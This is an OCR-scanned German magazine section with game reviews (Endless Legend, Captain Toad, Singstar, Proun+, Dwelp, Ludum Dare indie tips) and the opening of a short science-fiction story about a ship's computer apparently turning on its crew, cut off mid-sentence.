kann man in ein neues Zeitalter 
der Technik eintreten. Eine wich- 
tige Rolle für ein Volk spielen 
seine unsterblichen „Helden“, 
die - vom Spieler hinreichend 
gepäppelt - mit wachsender Er- 
fahrung individuelle Fertigkeiten 
erwerben. 
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fehlungen. „Du kannst so nicht 
schneller fahren“ sagt das Spiel 
- aber worin das Hindernis be- 
steht, findet man nur durch He- 
rumprobieren heraus. Hinter- 
grundmusik gibt es leider nicht, 
und das Röhren der Dieselmoto- 
ren klingt sehr künstlich. Beim 
Wechsel der Perspektive von 
innen nach außen steigt die 
Lautstärke sprunghaft an - 
selbst bei offenen Gabelstap- 
lern. Das alles schmälert den 
Spaß, den Gameplay und Grafik 
bieten, ein wenig. Dennoch 
bleibt unterm Strich eine reiz- 
volle Simulation, bei der es viel 
zu entdecken gibt. 

(Stephan Greitemeier/psz) 


Endless Legend 


Vertrieb 


Iceberg Interactive, http:// 
g2g.amplitude-studios.com/ 
Games/Endless-Legend 


Betriebssystem Windows 8, 7, Vista, 
Mac 05 X ab 10.8 
Hardware- Mehrkernsystem, 6 GByte 
anforderungen RAM, 1-GB-Grafik 
Kopierschutz Online-Aktivierung und 
-Registrierung über Steam 
Mehrspieler 8 online 
Idee © Umsetzung [6) 
Spaß ® Dauermotivation ® 
Deutsch - USK 12-30 € 


Reiche Auswahl gibt es bei 
Spielfeldern und -arten. So las- 
sen sich bis zu acht Siegbedin- 
gungen festlegen. Selbst die 
kleineren Maps bieten viel Ab- 
wechslung; der Wechsel der 
Jahreszeiten verwandelt Savan- 
nen in Schneewüsten. Es gibt 
Einzelspiel, offenes Online-Spiel 
sowie Online-Spiel mit Freun- 
den. Geübte Spieler werden 
bald menschliche Gegner be- 
vorzugen, denn die computer- 
gesteuerten Gegenspieler kom- 
men schnell an ihre taktischen 
Grenzen. 

(Stephan Greitemeier/psz) 
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Spiele | 3D-Puzzle, Indie- und Freeware-Tipps 


Überdrehte Schatzsuche 


In Captain Toad: Treasure Tra- 
cker begibt sich Nintendos put- 
ziges Pilzmännchen auf kurzwei- 
lige Knobel-Touren. Zu Beginn 
der vier Kapitel wird entweder 
der naiv-charmante Toad oder 
seine Toadette von einem Raub- 
vogel entführt, woraufhin der je- 
weilige Partner zur Rettungstour 
aufbricht. Um den Geliebten aus 
den Fängen des Vogels zu be- 
freien, muss Toad(ette) jeweils 
rund 20 knifflige Level durch- 
queren und einen gelben Stern 
an deren Ende erreichen. 

Die 3D-Irrgärten sind herrlich 
abwechslungsreich gestaltet. 
Mal wandert Toadette durch ein 
Geisterschloss, dann flutscht sie 


Captain Toad: 
Treasure Tracker 


Vertrieb Nintendo 

System Wii U 

Idee ® Umsetzung [©) 
Spaß ® Dauermotivation ® 


1 Spieler + Deutsch - USK 6-40 € 


durch Röhren. Toad stakst durch 
eine Swimming-Pool-Welt und 
klettert über Elektro-Klötze. Die 
Entwickler haben zig bewährte 
Nintendo-Accessoires, -Figuren 
und -Arrangements auf pfiffige 
Weise ins Spiel gepackt. 

Im Unterschied zu Super 
Mario 3D World kommt es bei 
Toads Schatzsuche nur selten auf 
Tempo und Reaktionsschnellig- 
keit an. Der Spieler kann die ver- 
trackten Level ohne Zeitdruck 
untersuchen. Um die zum Teil 
gut versteckten Geheimgänge zu 
finden, muss er die Perspektive 
immer wieder um eine vertikale 
Achse drehen. Weil die Kamera 
nicht zoomen kann, behält sie 
das Geschehen nicht immer gut 
im Blick. Wenn Toad geklont 
wird, verliert die Kamera einzelne 
Klone schon mal aus den Augen. 

Die Pilzliinge können nicht 
springen und müssen daher auf 
dem Weg nach oben versteckte 
Fahrstühle mit Schaltern aktivie- 
ren. Wände durchbrechen sie mit 
ihrer Spitzhacke, überstehen 
waghalsige Fahrten in einer Lore 


Indie- und Freeware-Tipps 


Anlässlich des 31. Ludum-Dare-Wettbewerbs haben Programmie- 
rer von „Gods will be watching” und „Nihilumbra” als Decon- 
structeam ein kleines Kriminalstück namens Atticus VII (Browser, 


Windows) inszeniert. Die Hand- 
lung spielt auf einem Raum- 
schiff. Ein Crew-Mittglied wurde 
ermordet und der Spieler muss 
innerhalb von elf Tagen unter 
den fünf übrigen den Mörder 
entlarven. Dazu schickt er die 
Besatzung jeden Tag in andere 


und erwehren sich des putzigen 
Nintendo-Bestiariums mit einer 
Möhren-Kanone. Auf dem Touch- 
Pad des Wii-U-Controllers kann 
der Spieler bewegliche Plattfor- 
men direkt verschieben oder ins 
Mikrofon pusten, woraufhin sich 
ein virtuelles Windrad dreht und 
einen Aufzug bewegt. 

In jedem Level gilt es, unter- 
wegs zum gelben Stern genü- 
gend versteckte Diamanten ein- 
zusammeln, mit denen man den 
Zugang zu höheren Leveln frei- 
schaltet. Zuweilen muss man 
dazu bereits absolvierte Level er- 
neut angehen. Weil es jedoch 


Fuchs zum Ziel zu steuern, muss 
der Spieler die Hindernisse ver- 
decken oder überbrücken, indem 
er die papierne Spielfläche an den 
Ecken oder Kanten faltet. Das 
wunderschön gestaltete Spiel 
wurde beim 31. Ludum Dare Jam 
mit der Goldmedaille für Innova- 
tion ausgezeichnet und bringt 
sogar einen Editor für eigene 
Hüpf- und Falt-Puzzles mit. 


viel zu entdecken gibt, langweilt 
man sich dabei keinesfalls. Die 
Bosskämpfe am Ende der Kapitel 
erfordern präzises Timing. Glück- 
licherweise lassen sich ungelieb- 
te Level überspringen. 

Toads Helden-Debüt ist kurz 
geraten: Nach rund fünf bis 
sechs Stunden hat man alle 
82 Level geschafft und den 
Raubvogel endgültig besiegt. 
Doch in dieser Zeit glänzt das 
charmante Spiel mit seinem 
knuddeligen Design, abwechs- 
lungsreichen Rätselwelten sowie 
anspruchsvollen Zusatzaufgaben. 

(Peter Kusenberg/hag) 


Räume, wo sie Anlagen reparieren und sich gegenseitig ausfragen. 
Das an FTL erinnernde Spiel überzeugt mit minimalistischer Pixel- 
grafik und atmosphärischer Musik. Man sollte durchaus mehrere 
Durchgänge einplanen, bis man anhand der zahlreichen Motive 
den richtigen Mörder enttarnt. 


Als Sieger aus dem 31. Ludum-Dare- 
Wettbewerb ging Daniel „Managor” 
Linssen mit seinem Jump & Run Bird- 
song (Windows) hervor. Der Spieler 
muss mit einem Vogel ein riesiges 
Labyrinth erkunden und Hindernisse 
mit schwierigen Sprüngen überwin- 
den. Speichern kann er nur, wenn er Nester einsammelt, die er auf 
Schreinen platziert. Das Besondere an Birdsong ist die verzerrte 
Grafik, die das gesamte Labyrinth - wie in den Wettbewerbsbedin- 
gungen gefordert - auf einem Bildschirm darstellt und nur den 
aktuellen Raum mit einer überdimensionalen Lupe vergrößert. 


Victory Garden greift in seinem Puzzle-Plattformer O-Inari Origami 
(Windows, OS X, Linux) die alte Kunst des Papierfaltens auf. Um den 
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Eine coole Mixtur aus GTA und Pac Man ist Sebastien Benard, alias 
Deepnight gelungen. Der Spieler muss in Law Breaker (Flash- 
Browser) aus der Vogelperspektive ein Labyrinth aus Straßenzügen 
durchpflügen und der Polizei ent- 
kommen, während er Goldmünzen 
nachjagt und Banken ausraubt. 
Sammelt er Obst und andere Spe- 
zialitäten auf, kann er im Gegenzug 
für kurze Zeit Polizeiautos und 
-hubschrauber in die Luft jagen. Zur 
Pixelgrafik ertönt stilechte 8-Bit- 
Musik. Gerade einmal 48 Stunden 
hat Deepnight für dieses beeindruckende Crossover benötigt und 
gewann beim 31. Ludum-Dare-Festival die Bronze-Medaille. 


Mehr Tipps für originelle Indie-Spiele finden Sie in unserem Video- 
Blog „c't zockt” auf heise.de und auf unserer gleichnamigen Kura- 
tor-Liste auf Steam. (hag) 


CE Freeware-Downloads und Video: ct.de/yem4 
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Abgesang 


Zum zehnjährigen Jubiläum er- 
scheint mit Singstar: Ultimate 
Party auch erstmals eine PS4- 
Version von Sonys einstmals 
wegweisender Karaoke-Software. 

Wer Singstar kennt, wird sich 
allerdings wundern: Sony hat die 
Party-Modi beseitigt und forciert 
stattdessen die Online-Anbin- 
dung. Sänger können High 


Scores vergleichen und Commu- 
nity-Tratsch lesen - direkt duel- 
lieren kann man sich indes on- 
line nicht, das geht weiterhin nur 
gemeinsam vor einer Konsole. 
Abseits der Gesangsduelle 
wurden andere Spielmodi wie 
das Weiterreichen des Mikros 
oder die Medleys jedoch gestri- 
chen. Zudem gibt es nur noch 
einen Schwierigkeitsgrad. 
Ein neues, übermäßig 
komplexes Punktesystem 
verwirrt Singstar-Vetera- 
nen. Diese können die Ge- 
sangserkennung leichter 
übertölpeln als zuvor: 
Auch durch Summen kas- 
siert man leicht Wertun- 
gen wie „Großartig!” oder 
„Toll!“. Neuerdings kann 
man ein Smartphone als 


Mondrians Achterbahn 


Im Rail-Racer Proun+ steuert der 
Spieler eine Kugel über eine ge- 
wundene Röhre, wobei er kunst- 
vollen Hindernissen ausweicht, 
um sein hohes Tempo zu halten. 
Die Kugel beschleunigt automa- 
tisch. Der Spieler muss lediglich 
durch Kippen des iPhones/iPads 
oder Berühren des Bildschirms 
nach rechts oder links auswei- 
chen und einen Booster betäti- 
gen, sobald die Bahn frei ist. Eine 
Bremse gibt es zwar auch, sie 
bleibt jedoch weitgehend unge- 
nutzt. 

Um im Wettkampf zu bestehen 
und die Bestzeiten zu schlagen, 
muss man sich den Verlauf der 
Rundkurse genau einprägen. Die 
Kulissen sehen fabelhaft aus; mit- 


unter meint man, durch abstrakte 
Gemälde von Mondfrian oder Kan- 
dinsky zu sausen. Blitzschnell 
muss man Rahmen und kuriosen 
geometrischen Figuren auswei- 
chen sowie bunten Wirbeln fol- 
gen. Deren Verlauf prägt man sich 
zunächst auf der gemächlichsten 
von fünf Tempostufen ein, bevor 
man höhere freischaltet. 

Es braucht gute Reflexe und 
eine vorausschauende Fahrwei- 


Proun+ 


Vertrieb Engine Software 

Systeme i0S (Android und 3DS geplant) 
Ide ® Umsetzung ®® 
Spaß ® Dauermotivation ® 


1 Spieler - Deutsch - ab 4 Jahren -4€ 


Feste Verbindung 


Im Indie-Knobelspiel Dwelp ver- 
bindet der Spieler Setzsteine mit- 
einander, sodass am Ende alle 
Steine einer Farbe eine Einheit bil- 
den. Doch das ist leichter gesagt 
als getan: Berühren sich zwei 


Vertrieb Roundabyte 

System i05 

Idee ® Umsetzung [©) 
Spaß ® Dauermotivation ® 


1 Spieler + Englisch - ab 4 Jahren -2 € 
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Steine gleicher Far- 


Spiele | Karaoke, Hindernisrennen, Puzzle 


Mikrofon nutzen. Dazu lädt man 
eine kostenlose App (Android/ 
iOS). Die Einrichtung der WLAN- 
Verbindung zur Konsole ist ein- 
fach, allerdings ist die Verzöge- 
rung bei der Übertragung etwas 
länger als bei den Original-Mikro- 
fonen (2 x Wireless für 30 Euro), 
die für einen zünftigen Karaoke- 
Abend die bessere Wahl sind. 
Das auf der Ultimate-Disc mit- 
gelieferte Songpaket deckt eine 
große Bandbreite hauptsächlich 
deutschen Liedgutes ab: Hier 
können CDU-wählende Ex-Pun- 
ker gemeinsam mit den Toten 
Hosen „Tage wie diese” grölen 
und Burnout-Patienten mit 
Deichkind ein schmissiges „Bück 
Dich hoch” anstimmen. Wem 
das zu ausgelutscht ist, der kann 
weitere Songs einzeln online im 
PSN kaufen (Stück 1,39 Euro). 
Auf der PS4 ist das Angebot al- 
lerdings noch deutlich kleiner als 


se, um die Strecken fehlerfrei zu 
durchlaufen. Anfangs bleibt man 
allzu oft an einem Balken oder an 
einer Spirale hängen. Aus der 
Ferne sind diese nur leicht ver- 
schwommen und unscharf zu er- 
kennen, was die Reaktionszeit 
vor allem auf dem kleineren 
iPhone-Bildschirm verkürzt. Dank 
der tollen Grafik und des coolen 
Jazz-Soundtracks gerät man aber 
bald in einen Rausch der Farben 
und umschifft lässig die gekonnt 
platzierten Hindernisse. 

Zur Abwechslung lässt sich 
jede der elf Strecken in vier 
verschiedenen Modi angehen, 
etwa im Wettstreit gegen Kl- 
Gegner oder auf einer Überle- 
bensfahrt, bei der man keinen 
Crash bauen darf. Bis man je- 
doch die über 150 Wettbewerbe 
auf den fünf Schwierigkeitsstu- 


oder spiegeln las- 
sen sich die fusio- 
nierten Steine 
nicht. Um tatsäch- 


be, so lassen sich ss ®_® lich alle einzelnen 

fortan die weiteren Steine auf einem 

einzelnen Steine der eo. ® Feld mit mehreren 

gleichen Farbe nicht r Farben zu erwi- 
2] 


mehr bewegen. Nur 
der Duo-Stein kann 
herumwandern, der 
von Zug zu Zug zu 
einem Tripple- und 
Viererstein anschwillt, sobald er 
weitere gleichfarbige Steine be- 
rührt. Die Bewegungen werden 
immer schwieriger, denn drehen 


schen, muss man 
deshalb drei, vier 
oder mehr Züge 
im Voraus planen. 

Die Entwickler 
konzentrierten sich bei der 
minimalistischen Darstellung 
auf das Wesentliche und 
berücksichtigten Farbenblinde 
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Singstar: 
Ultimate Party 


Vertrieb Sony Computer Entertainment 
System PS4 (auch für PS3) 
Mehrspieler 2am selben Gerät 

Ide © Umsetzung [o) 

Spaß © Dauermotivation 88 
Deutsch - USK 0-30 € 


auf der PS3; nur ein Bruchteil der 
dort verfügbaren zig hundert 
Songs lässt sich bislang auf der 
PS4 nutzen. Größtes Manko ist 
jedoch, dass sich auf der PS4 bis- 
lang keine alten Singstar-Schei- 
ben von der PS2 oder PS3 ab- 
spielen lassen. 

Aufgrund der ausgedünnten 
Gesangsmodi, dem nervenden 
Social-Media-Firlefanz und der 
fehlenden Integration alter Sing- 
star-Scheiben ist die PS4 als Ka- 
raoke-Maschine noch nicht Party- 
tauglich. (Peter Kusenberg/hag) 


je) = um] 


Bovst 


fen gemeistert hat, ist wochen- 
lange Übung nötig. 

Den niederländischen Ent- 
wicklern ist mit Proun+ ein wun- 
derschöner Arcade-Racer mit 
erstklassigen Strecken gelungen, 
der trotz gelegentlicher Frustra- 
tion das Zeug zum echten Lang- 
zeit-Entertainer hat. 

(Peter Kusenberg/hag) 


mit  Symbol-Einblendungen. 
Züge lassen sich jederzeit zu- 
rücknehmen und Steine leicht 
neu arrangieren. Wer weitere 
Level freischalten will, darf die 
vorgegebene Zuganzahl nicht 
überschreiten. Der Schwierig- 
keitsgrad steigt angenehm 
sanft an. 

In der zweiten Hälfte der ins- 
gesamt 115 Level warten echte 
Kopfnüsse auf den Spieler. So bei- 
ßen sich Knobelfreunde an die- 
sen technisch wie spielerisch ge- 
lungenen Puzzles gerne die eine 
oder andere Stunde fest. 

(Peter Kusenberg/hag) 
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Stephan Becher 


KABINE 19.24 


Illustration: Susanne Wustmann, Dortmund 


W: gibt's, Jorin?” Aus dem Miniaturlaut- 
sprecher des Pads klang Melissas Stim- 
me noch eine Spur genervter als ihre Mine 
zum Ausdruck brachte. 

„Ich fange gerade mit der letzten Kabine 
an. Nummer 15.24.” 

„Trödel nicht so lange herum. Die meisten 
anderen sind längst zurück. Um Punkt 16 Uhr 
wollen wir die Kopplung herstellen.“ 

Noch gut eine Stunde. Für eine Einzelka- 
bine war das mehr als genug. Jorin nahm 
einen Schluck aus seiner Wasserflasche, ehe 
er die Liste überflog, die der Roboter-Trupp 
erstellt hatte. Offensichtlich hatten sie auch 
hier Staubkörner gezählt, waren sämtlichen 
DNA-Spuren nachgegangen und hatten 
Scans jedes Kratzers in der Wandverkleidung 
angefertigt. Hinweise auf die Ursache der Ka- 
tastrophe, der vor siebzig Jahren die gesam- 
te Mannschaft der Colonizer 4 zum Opfer ge- 
fallen war, hatten sie indes nicht gefunden. 

Dass die Überwachungskamera ausge- 
tauscht worden war, wäre ihm gewiss nicht 
aufgefallen. Er blickte zur Kabinendecke 
empor. Vielleicht hatten die Roboter ent- 
deckt, dass einer der Schraubenköpfe um ein 
paar Grad verdreht war. Glücklicherweise 
waren solche Kameras in den Wohnräumen 
der Colonizer 17 tabu. 

Der zweite Eintrag in der Liste bezog sich 
auf eine abgeplatzte Ecke der Netzwerkdose 
über der Arbeitsplatte. Warum die Roboter 
so etwas für bemerkenswert erachteten, war 
unbegreiflich. Vermutlich hatte nie jemand 
die Dose benutzt, denn schon beim Start der 
Colonizer 4 waren kabelgebundene Netz- 
werke veraltet gewesen. Trotzdem hatte 
Jorin in fast jeder Kabine nicht nur eine Netz- 
werkdose, sondern sogar das dazu passende, 
meist noch in Folie eingeschweißte Kabel 
vorgefunden. Allerdings hatte er noch kein 
einziges Pad und auch kein anderes Gerät 
mit einer entsprechenden Buchse entdeckt. 
Aus den Aufzeichnungen des Funkverkehrs 
der Colonizer 4 mit der Erde war hervorge- 
gangen, dass die Mannschaft ganze Stränge 
des Netzwerks bereits dreißig Jahre nach 
dem Start stillgelegt und sogar die Verbin- 
dung zum Bordrechner gekappt hatte. 

„Melissa?" 

„Ja doch!“, antwortete sie nach ein paar 
Sekunden. 

„Kannst Du mir sagen, wie ich von einer 
beschädigten Netzwerkdose auf die Ursache 
der Katastrophe schließen soll?” 

„Was? Hör mal, es war nicht meine Idee, 
nach den Robotern auch noch die halbe 
Mannschaft auf die Suche zu schicken. Lass 
einfach deiner Fantasie freien Lauf. Davon 
hast du schließlich mehr als genug.” 

„Ich frag’ ja nur. Du bist doch ein kluges 
Mädchen.” 

„Melde dich, sobald du fertig bist.“ 

Jorin bedauerte, dass ihr Gesicht so 
schnell wieder vom Bildschirm verschwand. 
Ihre geradezu anmutigen Züge litten nicht 
einmal unter dem Stress, den jede verant- 
wortungsvolle Aufgabe in ihr hervorrief. Le- 
diglich ihr Humor und ihr Charme gingen in 
solchen Situationen verloren. Warum nur 
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hatte der Kapitän entschieden, die gesamte 
Koordination auf ihre schmalen Schultern zu 
wuchten, statt sie mit ihm zusammen in die- 
sen Kabinenblock der Colonizer 4 zu schi- 
cken, so wie er vorschlagen hatte? Wieder 
einmal war eine Gelegenheit verstrichen, 
dem nettesten und hübschesten Mädchen 
an Bord der Colonizer 17 näher zu kommen. 

Um nicht weiter die Liste durchforsten zu 
müssen, öffnete Jorin kurzerhand den Wand- 
schrank. Stapel mit Unterwäsche und Handtü- 
chern, ein paar sorgfältig zusammengelegte 
Freizeit-Overalls und auf einem Fachboden in 
Brusthöhe das übliche Pad sowie zwei der 
stabförmigen Universalwerkzeuge, ein großes 
und ein kleines, von denen er in anderen Ka- 
binen schon mehrere gesehen hatte. Dahinter 
lag noch ein weiteres Gerät, das an einem der 
Ladekabel hing, die aus der Rückwand des 
Wandschranks sprossen. Jorin schob die 
Werkzeuge zur Seite, zog den Stecker ab und 
nahm das Gerät heraus. Es hatte die Größe 
und Form eines Pads, war aber deutlich 
schwerer und dicker. Auffallend waren das al- 
tertümliche Design und die bunten Tasten 
und Hebel zu beiden Seiten des Bildschirms. 
Es war offensichtlich, dass man es mit beiden 
Händen vor sich halten musste. 

Er legte das Gerät auf die Arbeitsplatte 
und suchte nach dem dazugehörigen Ein- 
trag in der Liste. Unmittelbar hinter denen 
für das Pad und die beiden Werkzeuge 
wurde er fündig: „19-Terahawk CX3 Spiel- 
konsole mit angeschlossenem Ladekabel, 
Baujahr ca. 2050, funktionstüchtig. 26 Kratzer 
am Gehäuse, insbesondere rund um die 
12 Schrauben auf der Rückseite.” 

Eine Konsole nur zum Spielen? Warum 
nicht? Als Teenager hatte Jorin gelegentlich 
auf seinem Pad gespielt, irgendwann jedoch 
das Interesse verloren. Er schmunzelte bei 
der Vorstellung, wie die Roboter hier gespielt 
hatten, um festzustellen, ob die Konsole 
funktionierte. Für welche Art von Spielen 
hatten sich die Menschen im Jahr 2050 wohl 
begeistern können? Das Gerät musste be- 
reits ein Museumsstück gewesen sein, als die 
Colonizer 4 aufgebrochen war. Dennoch 
hatte es jemand mitgenommen, es an die 
nächste Generation vererbt und so weiter, 
bis es schließlich hier gelandet war. Waren 
die Spiele wirklich dermaßen gut? 

Jorin fläzte sich in den Sessel. „Einschal- 
ten”, befahl er, doch der Bildschirm der Kon- 
sole blieb dunkel. Dann erinnerte er sich, 
dass alte Geräte manchmal erst auf Sprach- 
befehle reagierten, nachdem man sie ma- 
nuell aktiviert hatte. Er fand den Schalter 
oben am rechten Rand. Eine Fanfare ertönte 
in überraschend sattem Sound. Über den 
Bildschirm waberten knallbunte Artefakte 
und ordneten sich zu einer Zeile aus Pikto- 
grammen an. „Andromeda” stand unter dem 
langsam rotierenden Abbild einer Spiral- 
galaxie. Das mittlere Piktogramm, ein grünes 
Rechteck mit darauf herumlaufenden Männ- 
chen, hieß „Euroliga“ und das dritte nannte 
sich „Die Tochter des Grafen”. 

Er tippte auf das Bild eines spärlich beklei- 
deten Mädchens mit großen Brüsten und 
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spitzen Zähnen. Die beiden anderen Pikto- 
gramme verblassten, und das Mädchen rück- 
te in die Mitte, um unmittelbar darauf eben- 
falls zu verschwinden. Der Bildschirm ge- 
währte den Blick in eine Kammer, die nur von 
einer Kerze auf einem Schemel erleuchtet 
wurde. Durch ein Fensterchen in der meter- 
dicken Mauer konnte Jorin den Sternenhim- 
mel erkennen. An der linken Wand stand ein 
ungemachtes Bett, rechts eine massiv wir- 
kende Truhe. Über der Truhe hing das Porträt 
einer bleichen Frau unbestimmbaren Alters 
in einem blutroten Kleid. 

Er probierte einige der Tasten und Hebel 
der Konsole aus, bis sich das Bild drehte und 
er nach hinten sehen konnte. Eine schmale 
niedrige Tür mit schmiedeeisernen Beschlä- 
gen stand einen Spalt breit offen. Mittels des 
gleichen Hebels bewegte er sich ein wenig 
wackelig auf die Tür zu, um hinauszugehen 
und sich umzusehen. Doch bevor er die Tür 
erreicht hatte, wurde sie von außen aufge- 
stoßen. Ein Mann mit schwarzem Umhang 
stand im Türrahmen und grinste ihn an. 
Plötzlich sprang der Mann aus dem Bild- 
schirm heraus. Jorin zuckte zurück, sah blit- 
zende Zähne auf sich zustürzen und der Bild- 
schirm wurde rot. 

„Du hast noch zwei Leben!“ dröhnte es 
aus den Lautsprechern. „Möchtest du weiter- 
spielen?“ 

„Nein“ antwortete Jorin. Das war definitiv 
kein Spiel für ihn. Man musste offenbar ex- 
trem schnell reagieren, um Punkte zu sam- 
meln und vor allem, um am Leben zu bleiben. 

Für welches Spiel hatten sich die Roboter 
wohl entschieden? Sie würden doch nicht 
etwa alle drei Spiele ausprobiert haben! Oder 
gab es noch mehr davon? Die Spielebiblio- 
thek der Colonizer 17 umfasste mehr als zehn- 
tausend Titel in dreiundzwanzig Kategorien. 
Vergebens drückte er auf den Bedienelemen- 
ten der Konsole herum. Schließlich kam er auf 
die Idee, die drei Piktogramme mit dem Fin- 
ger aus dem Bildschirm hinauszuwischen. Auf 
diese Weise erschienen zwölf weitere Pikto- 
gramme, jeweils drei davon gleichzeitig auf 
dem Bildschirm. Die letzten hießen „Private 
Trainer“, „Mein Karaoke” und „Unbenannt“. 

Jorin entschied sich für „Private Trainer”, 
erkannte jedoch schnell, dass es sich nicht 
wirklich um ein Spiel handelte. Die junge 
Frau auf dem Bildschirm ermunterte ihn, be- 
stimmte Verrenkungen nachzuahmen und 
schien enttäuscht zu sein, dass er keine An- 
stalten dazu erkennen ließ. „Mein Karaoke” 
war noch übler: Er sollte ein Lied mitsingen. 
Warum um alles in der Welt hatte jemand 
eine Konsole aufbewahrt, mit der man nichts 
anfangen konnte, außer derart bescheuerte 
Spiele zu spielen? Der Vollständigkeit halber 
tippte er auch noch das letzte Piktogramm 
an, das ein sich um alle Achsen drehendes 
Fragezeichen darstellte. 

Die Bildqualität dieses Spiels war deutlich 
schlechter als die der vorherigen. Ein ge- 
wöhnlicher, eher unattraktiver junger Mann 
in einem blauen Overall vor einem unschar- 
fen Hintergrund. Dunkelbraune, glatte Haare 
klebten an seiner Stirn, sein Kinn flehte um 
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eine Rasur und an seinem Hals leuchtete ein 
Pickel. Aus der Brusttasche des Overalls ragte 
ein Universalwerkzeug, das aussah wie eins 
von denen aus dem Wandschrank. 

Es musste sich um eine echte Aufzeich- 
nung aus einer Einzelkabine der Colonizer 4 
handeln, womöglich sogar aus Kabine 15.24. 
Der Mann blickte nach beiden Seiten und 
nach oben, schien sich gar zu ducken, ehe er 
in altertümlich anmutender Weise zu spre- 
chen, nein, zu tuscheln begann: „Die Überwa- 
chungskamera scheint tatsächlich defekt zu 
sein. Ich habe ein Kaugummi aufs Mikrofon 
geklebt, bin aber nicht sicher, ob Quirina 
mich nicht doch hören kann. Inzwischen ist 
sowieso alles egal.“ 

Quirina? Das war doch der Name des 
Bordrechners der Colonizer 4, auf dessen 
Archive noch immer niemand zugreifen 
konnte, erinnerte sich Jorin. 

„Die Konsole hier ist vermutlich die einzi- 
ge an Bord, auf die Quirina keinen Zugriff 
hat. Zumindest jetzt, nachdem ich die draht- 
losen Interfaces lahmgelegt habe.” 

Jorin warf einen Blick auf sein Pad und 
stellte fest, dass die Konsole nicht versuchte, 
sich über Radiowellen in irgendein Netzwerk 
einzuklinken. 

„Quirinas Behauptung, die Außenantenne 
sei beschädigt worden, ist falsch“, fuhr der 
junge Mann fort. „Es sieht so aus, als ob sie 
die Verbindung zur Erde bewusst abgebro- 
chen hat.” 

Ein scharfes Klicken ließ Jorin aufhorchen. 
War es aus den Lautsprechern der Konsole 
gekommen? Nein. So nervös, wie der Mann 
auf dem Bildschirm war, wäre er bestimmt 
zusammengezuckt, hätte er das Geräusch 
während der Aufzeichnung wahrgenom- 
men. Stattdessen redete er weiter: 

„Es gibt mehr als genug Anzeichen, 
dass sie den Verstand verloren hat. 
Was sollen wir bloß tun? Nicht ein- 
mal der Kapitän könnte etwas un- 
ternehmen, sofern wir ihn über- 
zeugen könnten. Sobald wir Qui- 
rina abschalten, bricht auf dem 
Schiff das Chaos aus.“ 

Jorin tippte auf den Pause- 
Button. Dieses Geräusch eben, 
hatte er das nicht schon ein- 
mal gehört? Natürlich! So 
klang der Verriegelungsme- 
chanismus der Kabinentüren 
auf der Colonizer 4. Er stand 
auf und ging auf die Tür zu. 
Hätte er nicht geahnt, dass sie 
verschlossen bleiben würde, 
wäre er mit dem Kopf dagegen 
gestoßen. 

„Öffnen.“ 
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Doch der Mechanismus reagierte nicht. 
Selbst als er den Sensor neben der Tür an- 
tippte, tat sich nichts. Er ging zurück zum 
Sessel und langte nach seinem Pad. 

„Melissa?" 

Keine Antwort. 

„Melissa, ich bin in Kabine 15.24 ein- 
gesperrt. Kannst du mal jemanden vorbei- 
schicken?” 

Jorin stutzte. Das Verbindungslämpchen 
seines Pads leuchtete nicht. Waren die Re- 
peater ausgefallen? Er könnte sie mit dem 
Scanner in seinem Pad aufspüren und dann 
die Wandverkleidung entfernen, um sie frei- 
zulegen und zu reparieren. Aber mit nichts 
als zwei Universalwerkzeugen und seinen 
bloßen Händen würde ihm das kaum gelin- 
gen. Außerdem hatte er eben noch mit Me- 
lissa gesprochen. Warum sollten die Repea- 
ter, die dafür ausgelegt waren, Jahrhunderte 
zu überdauern, ausgerechnet jetzt ihren 
Geist aufgeben? 

Hatte Quirina ...? Nein, das war undenk- 
bar. Melissa würde die Kopplung hinauszö- 
gern, bis sämtliche Kabinen durchsucht 
waren und sich alle zurückgemeldet hatten. 
Sie wusste schließlich, wo er war. Selbst 
wenn jetzt auch noch die Lüftung ausfiele, 
konnte ihm nichts passieren. Probehalber 
hielt er die Hand unter das Lüftungsgitter 
und spürte den warmen Luftzug. 

Ersticken wollte ihn Quirina also nicht. Er 
würde ohnehin stundenlang in der Kabine 
ausharren können, bevor ihm die Luft aus- 
ging. Andererseits: Sofern das, was der Mann 
im blauen Overall behauptete, stimmte, könn- 
te Quirina für die Katastrophe an Bord der Co- 
lonizer 4 verantwortlich gewesen sein. Hatten 
diesmal nicht die Menschen Neurosen ent- 
wickelt, sondern der Bordrechner? Immerhin 
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war Quirina eine Kl. Sie hätte sich der Mann- 
schaft entledigen und anschließend von den 
Robotern alle Spuren beseitigen lassen kön- 
nen. Zeit genug hatte sie gehabt. Die alte 
Spielkonsole barg möglicherweise das einzige 
Zeugnis der Katastrophe außerhalb ihres 
Archivs, das sie übersehen hatte. 

Jorin nahm wieder im Sessel Platz und 
wandte sich der Konsole zu. Vergeblich ver- 
suchte er, ein Gähnen zu unterdrücken. 
Warum sollte er sich, während er auf seine 
Befreiung wartete, nicht die Aufzeichnung zu 
Ende anhören? 

Die Kabinenbeleuchtung erlosch. Auto- 
matisch schaltete sich die Notbeleuchtung in 
Jorins Pad ein. War das ein Zufall? Oder ein 
weiterer Versuch Quirinas, ihn kaltzustellen? 
Was versprach sie sich von einer knappen 
Stunde Aufschub? Korbinian, der Bordrech- 
ner der Colonizer 17, würde ihre Firewall in 
Sekundenbruchteilen durchbrechen und be- 
ginnen, in ihren Archiven die Wahrheit aus- 
findig zu machen. 

Vielleicht war sie gerade darauf aus! 
Wenn Korbinian nach der Kopplung in der 
Lage war, Quirina aufzumischen, warum soll- 
te Quirina nicht umgekehrt Korbinian mit 
ihrer Neurose infizieren können? Korbinian 
war zwar mehrere Rechnergenerationen 
fortschrittlicher, aber seine Intelligenz ba- 
sierte auf den gleichen Prinzipien. War das 
der Grund, warum der Kapitän so lange ge- 
zögert hatte, die beiden Bordrechner zu ver- 
binden? 

Es gab niemanden an Bord, der der 
Kopplung nicht entgegenfieberte. Alle woll- 
ten endlich erfahren, was der Mannschaft 
der Colonizer 4 zugestoßen war. Würde Me- 
lissa unter diesen Umständen wegen einer 
einzigen fehlenden Rückmeldung den Zeit- 
plan über den Haufen werfen? Würde sie 
ihn überhaupt vermissen? Und wenn Quiri- 

na einfach seine ID benutzte und seine 
Stimme nachahmte? Selbst für eine 
zweihundert Jahre alte Kl sollte das 

ein Kinderspiel sein. Schließlich er- 
folgte die Bordkommunikation 
über ihre Repeater und ihr Netz. 
Ein Warnsignal seines Pads 
unterbrach Jorins Überlegun- 
gen. Was? Der Kohlendioxid- 
gehalt der Luft betrug über 
1500 ppm? Er hielt sich doch 
noch keine Viertelstunde in der 
Kabine auf und die Lüftung arbei- 
tete einwandfrei! 
Er hielt das Pad hoch und ver- 
